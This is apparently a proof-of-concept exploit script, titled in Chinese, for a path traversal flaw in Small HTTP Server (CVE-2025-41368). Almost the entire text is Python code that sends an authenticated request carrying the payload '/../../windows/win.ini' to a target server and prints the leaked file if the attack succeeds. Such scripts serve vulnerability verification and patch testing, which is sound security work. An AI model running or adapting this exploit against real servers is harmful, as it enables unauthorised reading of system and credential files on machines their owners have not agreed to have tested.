CVE-2025-41368 Small HTTP Server路径遍历漏洞

import requests # Target configuration target_url = "http://<target_ip>/" # Vulnerable payload using path traversal to read win.ini # The vulnerability exists in the root '/' handler payload = "/../../windows/win.ini" # Credentials (Low privilege required as per CVE description) username = "<user>" password = "<password>" try: # Send request with authentication response = requests.get(target_url + payload, auth=(username, password), timeout=10) if response.status_code == 200 and "[extensions]" in response.text: print("[+] Exploit successful! Vulnerability confirmed.") print("[+] File content:") print(response.text) else: print("[-] Exploit failed. Check credentials or target version.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")